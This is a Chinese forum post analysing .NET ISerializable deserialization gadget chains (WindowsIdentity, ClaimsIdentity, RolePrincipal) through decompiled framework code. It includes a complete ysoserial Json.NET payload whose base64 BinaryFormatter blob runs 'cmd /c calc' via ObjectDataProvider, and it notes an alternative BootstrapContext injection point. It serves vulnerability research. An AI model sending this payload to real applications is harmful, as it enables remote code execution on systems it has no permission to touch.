安全矩阵

 找回密码
 立即注册
搜索
查看: 2406|回复: 0

dotNet 反序列化ISerializable系列链分析

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2022-1-4 18:47:52 | 显示全部楼层 |阅读模式
原文链接:dotNet 反序列化ISerializable系列链分析

ISerializable有哪些链:
  •         System.Web.Security.RolePrincipal
  •         System.Security.Principal.WindowsIdentity
  •         System.Security.Principal.WindowsPrincipal
  •         Microsoft.IdentityModel.Claims.WindowsClaimsIdentity
  •         System.IdentityModel.Tokens.SessionSecurityToken

这些链均具有一个相同的特点,那就是全部实现了ISerializable接口。
ISerializable接口介绍:微软官方文档的介绍,说的很简单,我也看不懂:
允许对象控制其自己的序列化和反序列化过程。
但我们可以自己实现一个demo来进行观察ISerializable接口序列化与反序列化的过程Person类:
  1. [Serializable]

  2.         public class Person : ISerializable{
  3.             public string FirstName { get; set; }
  4.             public string LastName { get; set; }
  5.             public string Name { get; set; }
  6.             public Person() { }
  7.             void ISerializable.GetObjectData(SerializationInfo info, StreamingContext context)
  8.             {
  9.                 Console.WriteLine("GetObjectData");
  10.                 info.AddValue("Name", this.Name);
  11.                 if (!string.IsNullOrWhiteSpace(this.Name))
  12.                 {
  13.                     info.AddValue("FirstName", this.Name.Split(' ')[0]);
  14.                     info.AddValue("LastName", this.Name.Split(' ')[1]);
  15.                     info.AddValue("xxoo", "Hello Hack");
  16.                 }

  17.             }

  18.        }
复制代码


main函数:
  1. static void Main(string[] args)
  2.         {
  3.             Person person = new Person { Name = "小 红" };

  4.             string seriaData = JsonConvert.SerializeObject(person);
  5.             Console.WriteLine(seriaData);
  6.             Person personInfo = JsonConvert.DeserializeObject<Person>(seriaData);
  7.             Console.Read();
  8.         }
复制代码


在运行代码后我们得到以下输出:
  1. GetObjectData
  2. {"Name":"小 红","FirstName":"小","LastName":"红","xxoo":"Hello Hack"}
复制代码


由上得出结论:
  •         info.AddValue会被反序列化
  •         当实现ISerializable接口的类被序列化时会自动调用GetObjectData类来控制序列化的内容。

但在我查阅资料的过程中还发现了如下解释:
但与其他接口不同的是,为了Deserialization,我们还必须实现一个特殊的构造函数(我称此构造函数为“序列化构造函数”),此构造函数具有与GetObjectData相同的参数列表。
根据上面的说法,我们将Person类的代码改为:
  1. [Serializable]

  2.         public class Person : ISerializable
  3.         {
  4.             public string FirstName { get; set; }
  5.             public string LastName { get; set; }
  6.             public string Name { get; set; }
  7.             public Person() { }
  8.             protected Person(SerializationInfo info, StreamingContext context)
  9.             {
  10.                 Console.WriteLine("UserInfo被执行了!!!");
  11.                 Name = info.GetString("Name");
  12.                 FirstName = info.GetString("FirstName");
  13.                 LastName = info.GetString("LastName");
  14.             }
  15.             void ISerializable.GetObjectData(SerializationInfo info, StreamingContext context)
  16.             {
  17.                 Console.WriteLine("GetObjectData");
  18.                 info.AddValue("Name", this.Name);
  19.                 if (!string.IsNullOrWhiteSpace(this.Name))
  20.                 {
  21.                     info.AddValue("FirstName", this.Name.Split(' ')[0]);
  22.                     info.AddValue("LastName", this.Name.Split(' ')[1]);
  23.                     info.AddValue("xxoo", "Hello Hack");
  24.                 }

  25.             }
  26.         }
复制代码


Main函数的代码不变,由此输出结果为:
  1. GetObjectData
  2. {"Name":"小 红","FirstName":"小","LastName":"红","xxoo":"Hello Hack"}
  3. UserInfo被执行了!!!
复制代码


做完上面的实验后,我们得出结论:在继承ISerializable接口后,序列化时会执行GetObjectData函数,反序列化时会自动调用与GetObjectData函数同样参数的构造函数。
System.Security.Principal.WindowsIdentity现在我们在来看WindowsIdentity链,首先给出ysoserial.exe的WindowsIdentity链:
  1. {
  2.                     '$type': 'System.Security.Principal.WindowsIdentity, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
  3.                     'System.Security.ClaimsIdentity.actor': 'AAEAAAD/////AQAAAAAAAAAMAgAAAF5NaWNyb3NvZnQuUG93ZXJTaGVsbC5FZGl0b3IsIFZlcnNpb249My4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1BQEAAABCTWljcm9zb2Z0LlZpc3VhbFN0dWRpby5UZXh0LkZvcm1hdHRpbmcuVGV4dEZvcm1hdHRpbmdSdW5Qcm9wZXJ0aWVzAQAAAA9Gb3JlZ3JvdW5kQnJ1c2gBAgAAAAYDAAAAsgU8P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJ1dGYtOCI/Pg0KPE9iamVjdERhdGFQcm92aWRlciBNZXRob2ROYW1lPSJTdGFydCIgSXNJbml0aWFsTG9hZEVuYWJsZWQ9IkZhbHNlIiB4bWxucz0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwvcHJlc2VudGF0aW9uIiB4bWxuczpzZD0iY2xyLW5hbWVzcGFjZTpTeXN0ZW0uRGlhZ25vc3RpY3M7YXNzZW1ibHk9U3lzdGVtIiB4bWxuczp4PSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmZ4LzIwMDYveGFtbCI+DQogIDxPYmplY3REYXRhUHJvdmlkZXIuT2JqZWN0SW5zdGFuY2U+DQogICAgPHNkOlByb2Nlc3M+DQogICAgICA8c2Q6UHJvY2Vzcy5TdGFydEluZm8+DQogICAgICAgIDxzZDpQcm9jZXNzU3RhcnRJbmZvIEFyZ3VtZW50cz0iL2MgY2FsYyIgU3RhbmRhcmRFcnJvckVuY29kaW5nPSJ7eDpOdWxsfSIgU3RhbmRhcmRPdXRwdXRFbmNvZGluZz0ie3g6TnVsbH0iIFVzZXJOYW1lPSIiIFBhc3N3b3JkPSJ7eDpOdWxsfSIgRG9tYWluPSIiIExvYWRVc2VyUHJvZmlsZT0iRmFsc2UiIEZpbGVOYW1lPSJjbWQiIC8+DQogICAgICA8L3NkOlByb2Nlc3MuU3RhcnRJbmZvPg0KICAgIDwvc2Q6UHJvY2Vzcz4NCiAgPC9PYmplY3REYXRhUHJvdmlkZXIuT2JqZWN0SW5zdGFuY2U+DQo8L09iamVjdERhdGFQcm92aWRlcj4L'
  4. }
复制代码


首先查看WindowsIdentity的定义:
public class WindowsIdentity : ClaimsIdentity, ISerializable, IDeserializationCallback, IDisposable
既然我们刚刚了解了ISerializable接口的使用,所以我们现在只需要寻找GetObjectData函数同样参数的构造函数,代码如下:
  1. public WindowsIdentity(SerializationInfo info, StreamingContext context)
  2.             : this(info)
  3.         {
  4.         }
复制代码


跟进重载后的函数:
  1. private WindowsIdentity(SerializationInfo info)
  2.             : base(info)
  3.         {
  4.             m_claimsInitialized = false;
  5.             IntPtr intPtr = (IntPtr)info.GetValue("m_userToken", typeof(IntPtr));
  6.             if (intPtr != IntPtr.Zero)
  7.             {
  8.                 CreateFromToken(intPtr);
  9.             }
  10.         }
复制代码


此函数调用了父类的构造函数,继续跟进:
  1. [SecurityCritical]
  2.         protected ClaimsIdentity(SerializationInfo info)
  3.         {
  4.             if (info == null)
  5.             {
  6.                 throw new ArgumentNullException("info");
  7.             }

  8.             Deserialize(info, default(StreamingContext), useContext: false);
  9.         }
复制代码


到这里发现父类中的构造函数调用了反序列化Deserialize,查看函数定义:

我们发现函数首先调用了SerializationInfoEnumerator enumerator = info.GetEnumerator();,这个GetEnumerator方法其实就是遍历Info中的值,他会将你反序列化时所有的值载入进去。最终发现在以下分支存在反序列化的操作:

​​
  •         System.Security.ClaimsIdentity.actor

  1. case "System.Security.ClaimsIdentity.actor":
  2.                         {
  3.                             using (MemoryStream serializationStream2 = new MemoryStream(Convert.FromBase64String(info.GetString("System.Security.ClaimsIdentity.actor"))))
  4.                             {
  5.                                 m_actor = (ClaimsIdentity)binaryFormatter.Deserialize(serializationStream2, null, fCheck: false);
  6.                             }

  7.                             break;
  8.                         }
复制代码


  •         System.Security.ClaimsIdentity.claims

  1. case "System.Security.ClaimsIdentity.claims":
  2.                         DeserializeClaims(info.GetString("System.Security.ClaimsIdentity.claims"));
  3.                         break;
复制代码


  •         System.Security.ClaimsIdentity.bootstrapContext

  1. case "System.Security.ClaimsIdentity.bootstrapContext":
  2.                         {
  3.                             using (MemoryStream serializationStream = new MemoryStream(Convert.FromBase64String(info.GetString("System.Security.ClaimsIdentity.bootstrapContext"))))
  4.                             {
  5.                                 m_bootstrapContext = binaryFormatter.Deserialize(serializationStream, null, fCheck: false);
  6.                             }

  7.                             break;
  8.                         }
复制代码


查看上诉所说的几个属性中claims是没有set方法的,所以是不能够利用的。剩下两个是存在set方法:
  1. public ClaimsIdentity Actor
  2.         {
  3.             get
  4.             {
  5.                 return m_actor;
  6.             }
  7.             set
  8.             {
  9.                 if (value != null && IsCircular(value))
  10.                 {
  11.                     throw new InvalidOperationException(Environment.GetResourceString("InvalidOperationException_ActorGraphCircular"));
  12.                 }

  13.                 m_actor = value;
  14.             }
  15.         }

  16.         public object BootstrapContext
  17.         {
  18.             get
  19.             {
  20.                 return m_bootstrapContext;
  21.             }
  22.             [SecurityCritical]
  23.             set
  24.             {
  25.                 m_bootstrapContext = value;
  26.             }
  27.         }
复制代码


那么这里就ysoseril生成的payload中就可以不使用Actor而使用BootstrapContext了。在分析完这个链后,我们还可以总结出规律:所有实现了ISerializable类且继承至System.Security.Claims.ClaimsIdentity类的方法均可以作为入口链的使用
System.Web.Security.RolePrincipal:在分析完WindowsIdentity链后其他的链其实都已经不用分析了。以下所有的链分析都可以基于上面的模板进行分析:
  •         查看SerializationInfo info, StreamingContext context构造函数:

  1. protected RolePrincipal(SerializationInfo info, StreamingContext context)
  2.             : base(info, context)
  3.         {
  4.            ...省略...
  5.         }
复制代码


跟进base:
  1. [SecurityCritical]
  2.         protected ClaimsPrincipal(SerializationInfo info, StreamingContext context)
  3.         {
  4.             if (info == null)
  5.             {
  6.                 throw new ArgumentNullException("info");
  7.             }

  8.             Deserialize(info, context);
  9.         }
复制代码


跟进Deserialize函数:

Identities属性:
  1. public virtual IEnumerable<ClaimsIdentity> Identities => m_identities.AsReadOnly();
复制代码


DeserializeIdentities函数:

总结:一路通则路路通,索然无味了起来


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-4-23 15:12 , Processed in 0.015459 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表